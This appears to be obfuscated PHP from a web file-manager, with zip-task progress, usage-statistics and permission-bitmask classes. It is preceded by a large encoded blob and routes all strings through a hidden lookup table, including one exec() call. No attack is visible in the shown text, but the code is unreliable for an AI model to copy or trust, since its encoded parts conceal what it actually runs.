_@֕rR').base64_decode('kv1MSTMjJoF+vdLeI1jXkx1xOCQydPpkc6JFdm0GHnq58xgalfzAFUuqbmoSgLosa4SXeWo=')."\56\147\163\347\232\113\113\321\262\175\277\255\372\251\4\375\0\203\21\356\167\362\14\321\340\322\216\370\377\270\251\172\112\230\4\324\123\114\177\215\277\302\246\176\145\374\262\217\142\366\115\341\275".base64_decode('qBLyP/Wj55IcHBO7acxTp0HOUsDoU1gwkqDuicUnEBdTGi3KV77eFNSATaIG2DMkHBGHGZw=')."\xb\x2a\xc1\x5f\xa1\x47\x5c\x74\x72\xc7\x52\x48\x76\xec\x61\x12\x3d\x44\x46\x60\xc0\x6d\x3a\x9b\xe\x47\x80\x4e\x65\x7c\x9b\x9b\xbf\x8a\x6f\x10\xd7\x31\x34\xad\x7\xf7\x2\xe5\xec\x13\x7d\x42\x31\xee\x2a\x4a\x14"."\x75\xa6\x54\x69\x0\x4a\x56\x84\x6c\x8c\x67\x50\x5a\x94\x6\xea\x93\x92\xbb\x1\x52\x16\x31\x5b\x13\xe2\x3\xc4\x80\x61\x20\x5f\xb4\x6c\xc7\xff\xe\xf9\x61\x8e\x34\x25\x14\x80\x5\x45\x25\x2e\xf5\xa3\x73\xce\xa2"."\170\142\331\345\264\221\220\367\116\102\207\305\241\20\253\163\32\371\321\12\200\115\214\26\142\275\341\212\325\330\165\122\41\155\310\243\116\350\71\176\233\105\135\315\122\351\204\13\235\107\64\253\322"."\167\35\55\376\177\123\220\46\306\44\373\266\366\112\52\33\144\72\367\117\301\313\141\267\174\131\143\330\356\177\26\103\234\216\370\154\56\370\244\25\106\54\47\310\116\3\355\205\134\25\56\254\24"."\xe2\xe3\x5c\x41\xc4\x8\xe6\x1e\x2b\x5\xb1\xd3\x2f\xc9\x2c\x7d\x7a\x3a\xfd\xe9\x85\x5f\xb6\x1b\x3a\x1b\x41\xe9\x1c\x7c\xb2\x9e\xa3\xa2\x3f\xab\xe7\x52\x25\xae\xee\x25\x0\x9d\x9a\x10\x49\x90\x52\x88\xb0\x14\x55"."\146\323\233\270\350\154\143\44\35\274\146\125\363\316\210\315\226\332\235\177\11\237\152\142\353\265\373\230\342\72\6\246\130\102\246\145\363\152\26\67\342\152\306\105\121\25\23\105\21\153\35\225\303"."\xb2\xb2\x3f\xe9\x5\x4a\x64\x62\xc3\x14\x9f\xef\xc5\x52\x6\xe6\xe3\x34\xe5\x22\xe\x38\x29\x5d\x74\xba\xe5\x92\xd6\x27\x27\xbf\x72\xe9\xc\xb1\xd7\x9\xba\x88\xb6\x97\x7c\x25\x74\x44\xd3\xd8\x16\x62\xcb\x46\x41"."\136\265\130\24\227\50\362\216\213\376\265\75\322\206\264\356\170\107\202\230\55\111\120\305\210\230\300\71\351\142\223\2\341\222\263\134\10\322\313\34\33\264\44\35\36\145\313\320\364\202\107\274\365"."\x85\xec\xa8\x9d\x5d\xf4\x46\x17\x6\x4c\xae\x92\xdd\xb2\x73\x81\x3c\xa2\x47\xfc\x8c\xed\xad\xbc\x95\xc7\x6a\x6c\x40\x51\xb0\xda\x10\xd3\xd7\x1a\x30\xc8\x19\xcd\x23\x9f\xee\x20\x83\xb2\x88\x19\x9c\x41\x3c\xa7\x5b".base64_decode('YIltTWOsQtw29XZKiIZM3L4EKnmPA6+q1ZzB0UVAftq0ND804bhgE2QrTELhx+nwtNJ5K3M=')."\324\312\126\21\170\151\255\342\172\165\122\317\255\56\361\302\373\313\174\314\211\367\304\105\64\53\166\67\274\234\311\340\347\222\212\243\215\363\124\303\207\325\121\40\352\34\344\270\121\51\224\26\52".base64_decode('DDa/slKvgcpV+qaVhkHqd7mUcxFtDhdTrqzq3tbm8c45oVUc5H5lhfCwghzqUnYC2Lyov8Q=')."\xae\xbd\x9d\xd9\x74\x1b\xee\xa2\xbd\x58\x3c\x32\xa4\xc6\x9f\x2b\xf6\x8a\x35\xf9\x54\xd3\xac\x39\xb\x64\xe1\x89\x98\x42\x71\x19\xc\xb6\x5c\xe0\x4e\x7b\xe\x2c\x6d\x8e\x14\x8a\x1d\xd\x15\x66\x71\x5a\x26\x4\x24".base64_decode('0f5Sp9KXsmMz+J8tGHEOoVklBeBKd/MVI0DwVNJMk/ZGh96QgVV5TLHq6G4oPCjbv0U5iSo=').strrev('"8ME8e\\##Z@وa; ڴT`a|yχ#\\WX@').base64_decode('idg0UsgxNzQIJFabRIn+BxPITlv0YCY00HD3bYd0+yh4T2RkpornY0nh5kv6QJk+fsp0q5Y=')."\x5b\x42\x4e\x49\x54\xa9\x59\x11\x32\xd9\x40\x2e\xc4\x61\xd8\xde\x6f\x47\xf5\xa8\x98\xa8\xa3\xcf\xa5\x4c\x96\xa9\x92\xf3\x93\x1c\x24\xb\xc3\x8b\x12\xcf\x87\x4b\xb3\xc7\xeb\x93\xc8\x12\xc8\xdb\x69\x3b\xf7\x24\x3b"."\x61\x25\xf\x8f\x85\xdd\x20\xb2\x74\x6d\xcb\x58\x32\xf0\x2e\x3f\xdc\x25\x15\xc9\xeb\xa3\xb2\x6a\xc9\xa5\xad\x90\x40\x11\x91\x15\xf4\x8\x16\x37\xd1\xc0\x20\xcd\xf4\x2d\xe5\xcf\xbe\x55\x49\x9d\xd0\x2e\x16\x3\x3e".base64_decode('T3LljoZP8nZuyGHJVTLaEyLsXQZqju1Ei+LCrLlEv1IOIBszQjSEX2/CBM8A9lc2LmA7Q3E=')."\x9f\x9f\xb6\x33\x95\xe9\x74\xfc\x8b\x78\x44\x9b\x9b\x92\x54\x85\x9b\x75\x20\xa3\xe4\x8d\x1e\xfd\x9a\xb4\x11\x8b\x3d\x57\x84\xc2\xe5\xbc\x88\x48\xa2\x66\x72\x10\xe3\x89\x36\x1b\xc\xd8\xd8\xa0\x83\x62\x30\xcb\xe"."\xa6\xc3\x95\x38\x35\x52\x4e\xc3\xec\xbc\xf0\xbf\xf6\x79\xfb\xff\xca\xd5\xed\x9c\x6\x76\x29\x80\xeb\xe7\x2f\x9\x97\x2\xd7\xe\xad\xc5\xd7\xb1\x5c\x8\x42\x5\xd2\x8e\x7e\xd8\x37\xdb\x29\x80\x53\x68\xf0\x3d\x43"."\x82\xc4\x90\x38\xd7\x55\x67\x6\x27\x99\x1d\x4a\x95\xdd\xd6\xa9\xb9\x9c\xb4\x25\x57\x3f\xe7\x54\xf8\x32\x47\xa8\x38\xc0\x9d\x57\x57\x8b\x38\x5f\x20\x3b\xfd\x9a\xf7\x10\x79\x30\x73\x4c\xde\x27\xa8\xa\x86\x55\x2b"."\46\173\103\166\170\102\47\165\41\210\124\13\127\131\204\314\354\304\303\316\145\125\26\4\5\61\166\134\220\272\202\236\34\250\162\147\117\224\167\355\336\11\44\236\247\42\233\150\76\142\215\270\376"."\60\13\45\361\201\224\30\276\201\151\220\215\23\104\212\354\350\132\17\233\113\337\211\214\10\22\203\50\100\13\145\372\147\3\125\120\315\270\155\162\155\100\171\336\4\151\363\60\274\260\225\350\164".base64_decode('OGummUx5bG03EoSNKpYth3cceviSS8laHpUf4DRHLoKfI9jlc3jmcdvdDW4HoNHtqI67tLY=').base64_decode('ryubj2WqGYMWYxTLYZg8jtx7kVtxd2UZuoZiIs8kq7g6LeGNEjJJHJLHg9GkrpJBxtYO5bI=')."\51\111\323\73\51\11\176\235\134\47\5\117\367\124\354\227\214\74\333\46\23\253\32\212\373\326\170\44\32\110\254\12\142\133\33\301\223\2\335\314\126\264\156\20\337\51\254\312\356\316\72\362\26"."\xf\xd6\x8\x3a\x3f\xb5\x1b\x2\xdb\x34\x44\x38\x25\x29\xb4\x30\x78\x6c\xe5\x8b\x7e\x7e\x3b\x6c\x7f\xcd\x2d\x3d\x0\x61\x86\xc6\x64\xb9\xa8\x3d\x33\x7e\xbc\x63\x5f\xae\x8b\xab\x65\x4b\x1a\x25\x53\xb6\x16\x6a\x4b"."\xc4\xc\x9f\x81\x52\xa3\xec\x30\xdf\x5d\x40\x6b\x5d\x4b\x5a\x5a\x4a\xc1\xac\x83\xed\x34\xd1\x33\xbb\x61\x56\xdf\x97\xd5\x82\xd2\x79\xce\xd9\x5f\x91\x13\x8e\x35\xb1\x59\x6e\xa6\x95\xcc\xf2\x54\x2d\x67\x50\xc3\x40"."\xd5\xd2\x10\x6e\xc6\x2c\x1b\x12\x9\xc7\x3b\x4e\x87\x3b\xed\x36\xa3\x5b\xcd\x92\x9c\x56\x21\xe6\xc7\xc0\xf3\xd2\x24\x73\x13\x36\xfc\x82\xa9\x71\xa4\x61\xea\x31\x79\x2a\x3e\x17\xf3\x2b\x70\xe6\x8c\x5\x6b\xf9\x79"."\xb1\x75\x32\xfc\xa\xc5\x4b\xf0\xf\xc4\xeb\x6b\x12\xf9\x4\x53\x70\xc2\xd2\x8\x21\x5e\x22\x44\xb9\xf2\x34\xa\x5f\xb2\x4a\xa3\x91\x52\x34\x1f\xae\xb0\xda\x67\x7f\x6c\x26\x95\x27\x42\x27\x2a\x47\xb2\x89\x93\x40"."\251\101\6\111\227\374\350\40\230\262\273\70\43\211\4\314\314\226\103\15\322\65\265\135\113\200\277\343\255\330\215\313\172\110\112\46\245\230\371\133\364\213\315\21\4\205\365\50\222\114\257\332\174".strrev('5]TOCq\\.lJ|1Yl[6וCBI:Kd;m,7*C').base64_decode('OQ3sIQjPSvh8yY6IeDOkDctfh3zijY4tYyVU2BmRyourQtFNDKvWfUID7cVlOyYcqQSIOqs=')."\xe2\xa\x38\xd2\x99\x1c\x6b\x28\x9\xcd\x1c\xda\x15\x2e\x7a\x12\x9f\xb4\x5b\x4d\xe1\xd9\xf8\x9c\xa1\x3c\xe4\x65\xa1\xdb\x6\x75\x48\x19\xb0\x94\x8f\x71\xa5\x8e\x24\x90\x7b\x49\xd5\x57\x15\x8f\x49\x28\xa0\xe5\x42"."\122\165\262\32\301\244\5\142\325\77\42\260\322\76\304\222\271\31\221\300\370\36\303\66\370\322\256\306\73\6\71\243\162\242\255\71\316\251\45\207\142\201\276\24\230\47\267\15\64\315\147\117\242".base64_decode('+TVH6+UCzp7REjbvhjJ8WLeSWekEX5lYCS9VDDY0oHo/nK1lY+2Ua4hKKtoj6SjFjSplaIs=')."\xaa\x16\xa3\x49\xb8\xa4\x38\x2a\xd9\xca\x4e\x32\x4\xb8\x2c\x4d\xc2\x65\x2b\x92\x59\xe1\x8a\x71\x25\xe5\x2c\xb5\x6c\x4e\xd2\xbd\xca\xc1\x3\x39\x59\xaa\x4a\x87\x85\x34\x49\xca\x3a\xd9\x78\x56\xcd\x5c\xf9\x39\xc0"."\x44\x67\x6e\x22\x58\xab\xde\xa\x21\xf\x73\x68\x85\x54\x6b\x45\xd5\xcc\x93\xb6\xc2\x99\x5b\x70\x25\xf8\x3c\x5c\x2d\xc5\xa6\x5a\x65\xdf\x51\xaa\xd1\x6d\x96\x52\x85\x52\x53\x2a\x34\xa9\xce\x95\xd0\x43\xaa\xdc\x32"."\104\132\25\255\50\372\111\314\37\311\226\54\253\44\313\52\126\325\225\260\242\125\251\214\151\327\216\162\300\345\1\2\73\354\300\143\3\2\43\46\55\247\17\0\120\172\245\62\335\266\225\224\13".base64_decode('AwWDb08poXGMeStfyTnOFbXZUb9QlmzfV30048JCq0qBUE7lLxmFgh49eBuWntTsBvZlg5Y=')."\x34\x9d\x7d\x24\x27\x89\xc8\x1d\xd2\x69\x21\x42\xb3\xe9\xe9\x54\x91\xd9\x12\x10\xd\x7a\xc4\x45\x11\xad\x4f\x62\x8e\x4\x4e\xd8\xde\xb7\x51\x96\x4\xee\xd7\xe8\x2d\xbd\x1f\xab\x8e\xf0\xfb\x59\x62\xfb\x9d\x6e\xe1"."\64\71\146\224\54\27\116\213\33\105\362\333\152\130\226\120\172\241\122\52\302\210\343\175\330\45\351\164\241\220\270\214\305\215\42\127\173\4\155\11\305\42\101\320\27\300\342\237\230\106\123\11\235"."\xb3\x45\xf0\x95\x21\x8f\xc8\xdb\x2c\xe8\xd\xb4\x97\x1d\x9a\xd\x2\x30\x60\xa4\xfa\x8d\x11\x66\x45\x12\xe1\x95\x34\x48\xe2\x52\x51\x75\xf2\x96\x43\xce\x37\xd6\xb2\x86\x1a\x31\xb1\x62\x7a\x69\x8a\x17\xbc\x39\xb9".strrev('+'."\0".'"6"bH,]yH'."\n".''."\0".'ҹ/՟I').strrev('UtSB4-/Z+Vv'."\n".'M)'."\r".'"`":')."\xec\xba\x8a\xe5\x8f\x71\x3f\xe9\xf2\xbd\x87\x96\x17\x6\x6b\x45\x19\xbb\xa0\x4c\x9e\x7f\x93\x59\x96\xe6\x1\xbb\xbb\x45\x87\x6\x2f\x43\x6c\xa8\x8\x2b\x0\x86\xa1\xee\x28\xf3\x2c\x8f\x3d\xe6\x70\xfa\xc0\xf9\x7c".base64_decode('oYXisWmrSHCyhghRknBT3u8JYEbVAZLvQSrv6EiqGADcsGUG6JSuN/qlOzh6yoL38zCkkpI=').base64_decode('Jw3bki01U1Vpgwq0MZUQoub/A+kfRgirugAA').""."".base64_decode('')."".""."", 10, -8))); goto DՔ; aކ: class TaskZip extends TaskFileTransfer { protected function startAfter() { $Ӱ =& $_SERVER[秼]; parent::startAfter(); Hook::bind($Ӱ[1909], array($this, $Ӱ[1899])); Hook::bind($Ӱ[1901], array($this, $Ӱ[1902])); $㱓 =& $this->task; $㱓[$Ӱ[1903]] = $Ӱ[1288]; if (!$㱓[$Ӱ[1671]]) { $㱓[$Ӱ[1671]] = LNG($Ӱ[1910]); } } protected function endAfter() { $ =& $_SERVER[秼]; parent::endAfter(); Hook::unbind($[1909], array($this, $[1899])); Hook::unbind($[1901], array($this, $[1902])); } public function updateAfter() { $© =& $_SERVER[秼]; $Ĝ =& $this->task; if (!$Ĝ[$©[1149]] || !$Ĝ[$©[851]]) { return; } if ($Ĝ[$©[1903]] == $©[1288]) { $ = $Ĝ[$©[1838]]; if ($Ĝ[$©[1839]] != $©[1288]) { $ = 0; } $˔ = ($Ĝ[$©[1842]] + $) / $Ĝ[$©[851]]; $Ĝ[$©[1785]] = $˔ * 0.3; } else { if ($Ĝ[$©[1903]] == $©[390]) { $˔ = $Ĝ[$©[1784]] / $Ĝ[$©[1149]]; $Ĝ[$©[1785]] = 0.3 + $˔ * 0.5; } else { if ($Ĝ[$©[1903]] == $©[110]) { $˔ = 0; if ($Ĝ[$©[1837]]) { $˔ = $Ĝ[$©[1838]] / $Ĝ[$©[1837]]; } $Ĝ[$©[1785]] = 0.3 + 0.5 + $˔ * 0.2; } } } if ($Ĝ[$©[1785]] > 0) { $𘮯 = timeFloat() - $Ĝ[$©[1787]] - $Ĝ[$©[1790]]; $Ĝ[$©[1791]] = $𘮯 * (1 - $Ĝ[$©[1785]]) / $Ĝ[$©[1785]]; } } public function copyFileStart($˞, $, $ӕ, $, $, $ȶ) { $ఖ =& $_SERVER[秼]; parent::copyFileStart($˞, $, $ӕ, $, $, $ȶ); $ =& $this->task; if ($[$ఖ[1903]] == $ఖ[390]) { $[$ఖ[1903]] = $ఖ[110]; } $this->update(); } public function copyFileEnd($, $֗, $ޔ, $ݬ듯, $ƣ, $ҁ) { $ڹ =& $_SERVER[秼]; $뎦 =& $this->task; $뎦[$ڹ[1838]] = $뎦[$ڹ[1837]]; $뎦[$ڹ[1842]] += $뎦[$ڹ[1837]]; $뎦[$ڹ[1839]] = $ڹ[12]; $this->update(); } public function zipEvent($, $ԡ, $մ, $) { $ =& $_SERVER[秼]; $ꠧ =& $this->task; $ꠧ[$[1835]] = get_path_this($ԡ); $ꠧ[$[1837]] = $; $ꠧ[$[1838]] = $մ; $ꠧ[$[1151]] = $ == $[1911] ? $[1906] : $[1907]; $ꠧ[$[1839]] = $[12]; $ꠧ[$[851]] = $; $ꠧ[$[1903]] = $[390]; $this->update(); } public function nameParse($ؕɀ) { $ؗ =& $_SERVER[秼]; $ =& $this->task; if ($[$ؗ[1784]] < $[$ؗ[1149]]) { $ϩ = get_path_this($ؕɀ); if (strstr($ϩ, $ؗ[10])) { $[$ؗ[1784]] += 1; } } if ($[$ؗ[1903]] == $ؗ[1288]) { $[$ؗ[1903]] = $ؗ[390]; } $[$ؗ[1835]] = $ؕɀ; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($) { $£ה =& $_SERVER[秼]; $ = array($£ה[676] => array($£ה[33] => $£ה[1912], $£ה[352] => array($£ה[284], $£ה[853], $£ה[1913], $£ה[1914])), $£ה[1915] => array($£ה[33] => $£ה[1916], $£ה[352] => array($£ה[284], $£ה[851], $£ה[1917], $£ה[1918], $£ה[1919]))); if (!isset($[$])) { return !1; } $this->optionType = $[$][$£ה[33]]; $this->field = $[$][$£ה[352]]; return !0; } public function listData($ = false, $в = "\x6d\x6f\144\151\x66\x79\x54\x69\155\x65", $ = false) { return parent::listData($, $в, $); } public function trendList($Ңـ) { $ =& $_SERVER[秼]; $ = $this->listData(); if ($) { $ = end($); $뚷 = date($[1920], strtotime($[1921])); if ($[$[284]] == $뚷) { return $; } $̸ϵ = strtotime($[$[284]]); } if (!isset($̸ϵ)) { $ = $Ңـ == $[676] ? $[608] : $[913]; $̸ϵ = Model($)->min($[233]); } $ˣ = $[1922] . ucfirst($Ңـ); $ = $this->dateList($̸ϵ); foreach ($ as $뚷) { $this->{$ˣ}($뚷); } return $this->listData(); } private function dateList($䏶) { $ =& $_SERVER[秼]; $⾰ = $䏶; $Ή = strtotime($[1921]); $Ŏ = array(); while ($⾰ <= $Ή) { $Ŏ[] = date($[1920], $⾰); $⾰ = strtotime($[1923], $⾰); } return $Ŏ; } public function _recordUser($۫ = '') { $Ə =& $_SERVER[秼]; $퀉 = strtotime(date($Ə[1924], strtotime($۫))); $݇ = strtotime(date($Ə[1925], strtotime($۫))); $ϧ = array($Ə[233] => array($Ə[1099], $݇)); $ͧ = Model($Ə[608])->where($ϧ)->count($Ə[1783]); $ϧ[$Ə[233]] = array($Ə[410], array($퀉, $݇)); $ = Model($Ə[608])->where($ϧ)->count($Ə[1783]); $ϧ[$Ə[33]] = $Ə[1926]; $κ = Model($Ə[1927])->where($ϧ)->count($Ə[1928]); $ = array($Ə[284] => $۫, $Ə[853] => (int) $ͧ, $Ə[1913] => (int) $, $Ə[1914] => (int) $κ); return $this->insert($); } public function _recordStore($џ = '') { $ =& $_SERVER[秼]; $ = strtotime(date($[1925], strtotime($џ))); $ = array($[233] => array($[1099], $)); $؈ڇ = Model($[555])->where($)->sum($[79]); $[$[496]] = 0; $Ŗ = Model($[913])->where($)->sum($[79]); $[$[190]] = 1; $֑ = Model($[913])->where($)->sum($[79]); $[$[190]] = 2; $ֵ = Model($[913])->where($)->sum($[79]); $ = array($[284] => $џ, $[851] => (int) $Ŗ, $[1917] => (int) $؈ڇ, $[1918] => (int) $֑, $[1919] => (int) $ֵ); return $this->insert($); } public function trend($, $Ł) { $Ӧ =& $_SERVER[秼]; if (!$this->init($)) { return !1; } $Ǭ = $this->trendList($); if ($Ǭ && $Ł != $Ӧ[1755]) { $ = $Ǭ[0][$Ӧ[284]]; $ = $this->validDate($Ł, $); $ܴ = array(); $귉 = array_to_keyvalue($Ǭ, $Ӧ[284]); foreach ($ as $վ͊) { if (isset($귉[$վ͊])) { $ = $귉[$վ͊]; } else { $ = end($Ǭ); $[$Ӧ[284]] = $վ͊; if ($ == $Ӧ[676]) { $[$Ӧ[1913]] = $[$Ӧ[1914]] = 0; } } $ܴ[] = $; } $Ǭ = $ܴ; } $ɖ = array($Ӧ[676] => array($Ӧ[853] => LNG($Ӧ[1929]), $Ӧ[1913] => LNG($Ӧ[1930]), $Ӧ[1914] => LNG($Ӧ[1931])), $Ӧ[1915] => array($Ӧ[851] => LNG($Ӧ[1932]), $Ӧ[1917] => LNG($Ӧ[1933]), $Ӧ[1918] => LNG($Ӧ[1934]), $Ӧ[1919] => LNG($Ӧ[1935]))); $ = array($Ӧ[676] => $Ӧ[1936], $Ӧ[1915] => $Ӧ[79]); if (empty($Ǭ)) { $վ͊ = date($Ӧ[1920], strtotime($Ӧ[1921])); $⁇ = array($Ӧ[284] => $վ͊); foreach ($ɖ[$] as $ؾ => $Ġ) { $⁇[$ؾ] = 0; } $Ǭ[] = $⁇; } $Ŗ = array(); foreach ($Ǭ as $Ġ) { if ($ == $Ӧ[1915] && $Ġ[$Ӧ[1917]] > $Ġ[$Ӧ[851]]) { $Ġ[$Ӧ[1917]] = $Ġ[$Ӧ[851]]; } foreach ($ɖ[$] as $ؾ => $͢µ) { $ = array($Ӧ[284] => $Ġ[$Ӧ[284]], $Ӧ[1671] => $͢µ); $[$[$]] = isset($Ġ[$ؾ]) ? $Ġ[$ؾ] : 0; $Ŗ[] = $; } } return $Ŗ; } public function validDate($, $) { $ =& $_SERVER[秼]; $ٸ = date($[1920], strtotime($[1921])); $ѕ = array($ٸ); switch ($) { case $[1762]: $ = mktime(0, 0, 0, date($[1937]), date($[1461]) - date($[1551]) + 7 - 7, date($[1938])); $ = 0; do { $߿ = date($[1920], $ - 3600 * 24 * 7 * $); $ѕ[] = $߿; $++; } while ($ < $߿); break; case $[1760]: $ = 1; do { $ = date($[1939], strtotime("\55\40{$}\x20\x6d\x6f\156\164\x68\x73")); $ѕ[] = $; $++; } while ($ < $); break; case $[1940]: $ڧ = (int) date($[1938], strtotime($)); $ = (int) date($[1938]); if ($ڧ >= $) { break; } for ($ڧ; $ڧ < $; $ڧ++) { $ѕ[] = $ڧ . $[1941]; } break; default: break; } if ($ > end($ѕ)) { array_pop($ѕ); } sort($ѕ); return $ѕ; } public function listTable($ъ) { $㏜稥 = ucfirst($ъ); return Model($㏜稥)->listData(); } public function option($ٗ) { $ƛ = $_SERVER[秼][1942] . ucfirst($ٗ); return $this->{$ƛ}(); } private function optionUser() { $ =& $_SERVER[秼]; $ = Model($[608])->count($[1783]); $Ø = Model($[608])->where($[1943])->count($[1783]); $ = intval($GLOBALS[$[6]][$[426]][$[1728]]) / 3600; $ݳݔ = strtotime("\55{$}\40\150\157\x75\x72\x73"); $е = strtotime(date($[1924])); if ($ݳݔ < $е) { $ݳݔ = $е; } $ = array($[1944] => array($[1100], $ݳݔ)); $ǹ = (int) Model($[608])->where($)->count($[1783]); if (!$ǹ) { $ǹ = 1; } $ = array($[1944] => array($[1100], $е)); $ = Model($[608])->where($)->count($[1783]); return array($[846] => (int) $, $[1945] => (int) ($ - $Ø), $[1946] => (int) $Ø, $[1947] => (int) $, $[1948] => $ǹ); } private function optionFile() { $稊 =& $_SERVER[秼]; $ɗ = $this->sourceSize(); $ݚ䂇 = $ɗ[$稊[79]]; $м = $ɗ[$稊[1917]]; $Ŝ = Model($稊[913])->where(array($稊[496] => 0))->count($稊[193]); $ = array($稊[496] => 0, $稊[233] => array($稊[1100], strtotime(date($稊[1924])))); $ = Model($稊[913])->where($)->sum($稊[79]); $ڀ = Model($稊[913])->where($)->count($稊[193]); return array($稊[851] => $ݚ䂇, $稊[1917] => $м, $稊[1949] => $ݚ䂇 - $м, $稊[1950] => (int) $, $稊[853] => (int) $Ŝ, $稊[1951] => (int) $ڀ); } private function optionAccess() { $ =& $_SERVER[秼]; return array($[846] => $this->typeLogCnt(), $[110] => $this->typeLogCnt($[110]), $[536] => $this->typeLogCnt($[536]), $[1952] => $this->typeLogCnt($[1952]), $[1953] => $this->typeLogCnt($[1953]), $[676] => $this->typeLogCnt($[12], $[1928])); } private function typeLogCnt($ෟ푞 = '', $ = "\x69\x64") { $ =& $_SERVER[秼]; $ = array($[110] => array($[1954], $[1955]), $[536] => array($[1956], $[1957]), $[1952] => array($[1958], $[1959], $[1960]), $[1953] => array($[1961], $[1962]), $[1963] => array($[1964], $[1965], $[1966])); $롐 = strtotime(date($[1924])); $ӥۖ = array($[233] => array($[1100], $롐)); if ($ෟ푞) { $ӥۖ[$[33]] = array($[7], $[$ෟ푞]); } $ = Model($[1927])->where($ӥۖ)->count($); return (int) $; } private function optionServer() { $ =& $_SERVER[秼]; $Ï = $this->diskDriver(); $ʚ = KodIO::defaultDriver(); $ʘ讂 = array($[906] => $ʚ[$[486]]); $˿ = Model($[555])->where($ʘ讂)->sum($[79]); $ = explode($[53], $_SERVER[$[147]]); $٩ӯ = $[0]; $ = $GLOBALS[$[6]][$[21]]; $ۂ = $[$[1062]]; if ($ۂ == $[1050]) { $ҷ瞪 = explode($[1377], $[$[1061]]); $ۂ = $ҷ瞪[0]; } if ($ۂ == $[998] || $ۂ == $[893]) { $єڇ = Model()->db()->query($[1967]); $ = $єڇ[0] && isset($єڇ[0][$[1670]]) ? $єڇ[0][$[1670]] : 0; $ۂ = $[1968] . ($ ? $[8] . $ : $[12]); } $۪ = $GLOBALS[$[6]][$[426]][$[915]]; return array($[1969] => $Ï ? $Ï[$[1970]] : 0, $[1971] => $Ï ? $Ï[$[1972]] : 0, $[1973] => (int) $ʚ[$[1970]] * 1024 * 1024 * 1024, $[1974] => (int) $˿, $[1975] => ucfirst($٩ӯ), $[1976] => $[1977] . PHP_VERSION, $[1978] => phpBuild64() ? 64 : 32, $[845] => str_replace($[1218], $[1078], $ۂ), $[426] => ucfirst($۪), $[32] => $_SERVER[$[1979]]); } private function diskDriver() { $ǻמ =& $_SERVER[秼]; $ = $ǻמ[8]; $ = $GLOBALS[$ǻמ[6]][$ǻמ[1394]] == $ǻמ[1395]; if ($) { $ = $ǻמ[1980]; if (function_exists($ǻמ[1981])) { exec($ǻמ[1982], $ʶ); $ = $ʶ[1] . $ǻמ[8]; } } if (!file_exists($)) { return; } if (!function_exists($ǻמ[1983])) { return; } $ = @disk_total_space($); $Ή = $ - @disk_free_space($); return array($ǻמ[1970] => $, $ǻמ[1972] => $Ή); } public function fileChart($䪙) { $І =& $_SERVER[秼]; if (isset($䪙[$І[1783]])) { return Model($І[913])->userFileTypeProfile($䪙[$І[1783]]); } if (isset($䪙[$І[1984]])) { return Model($І[913])->groupFileTypeProfile($䪙[$І[1984]]); } $ћ = $this->sourceSize(); $ = array($І[192] => 0, $І[190] => 1); $š = Model($І[913])->where($)->sum($І[79]); $[$І[190]] = 2; $ = Model($І[913])->where($)->sum($І[79]); return array($І[851] => $ћ[$І[79]], $І[1917] => $ћ[$І[1917]], $І[1918] => (int) $š, $І[1919] => (int) $); } private function sourceSize() { $ٮ =& $_SERVER[秼]; $Β = Model($ٮ[913])->where(array($ٮ[496] => 0))->sum($ٮ[79]); $ = Model($ٮ[555])->sum($ٮ[79]); if ($ > $Β) { $ = $Β; } return array($ٮ[79] => (int) $Β, $ٮ[1917] => (int) $); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $վ =& $_SERVER[秼]; $ = array(array($վ[505] => LNG($վ[1985]), $վ[1986] => $վ[1987], $վ[1988] => 1, $վ[1989] => 1, $վ[1990] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($վ[505] => LNG($վ[1991]), $վ[1986] => $վ[1992], $վ[1988] => 2, $վ[1989] => 1, $վ[1990] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($վ[505] => LNG($վ[1993]), $վ[1986] => $վ[1994], $վ[1988] => 3, $վ[1989] => 1, $վ[1990] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($վ[505] => LNG($վ[1995]), $վ[1986] => $վ[1996], $վ[1988] => 4, $վ[1989] => 1, $վ[1990] => self::AUTH_SHOW | self::AUTH_VIEW), array($վ[505] => LNG($վ[1997]), $վ[1986] => $վ[1998], $վ[1988] => 5, $վ[1989] => 1, $վ[1990] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($վ[505] => LNG($վ[1999]), $վ[1986] => $վ[2000], $վ[1988] => 6, $վ[1989] => 1, $վ[1990] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($վ[505] => LNG($վ[2001]), $վ[1986] => $վ[2002], $վ[1988] => 7, $վ[1989] => 1, $վ[1990] => 0)); return $; } public static function authCheck($ԯ, $쏎) { $Ϋ㿇 =& $_SERVER[秼]; $ԯ = intval($ԯ); if (KodUser::isRoot() && $GLOBALS[$Ϋ㿇[6]][$Ϋ㿇[2003]]) { return !0; } if ($ԯ <= 0) { return !1; } if (($ԯ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ԯ & $쏎); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($ͥ) { return self::authCheck($ͥ, self::AUTH_VIEW); } public static function authCheckDownload($î) { return self::authCheck($î, self::AUTH_DOWNLOAD); } public static function authCheckUpload($Ƽ) { return self::authCheck($Ƽ, self::AUTH_UPLOAD); } public static function authCheckEdit($弫) { return self::authCheck($弫, self::AUTH_EDIT); } public static function authCheckRemove($պ) { return self::authCheck($պ, self::AUTH_REMOVE); } public static function 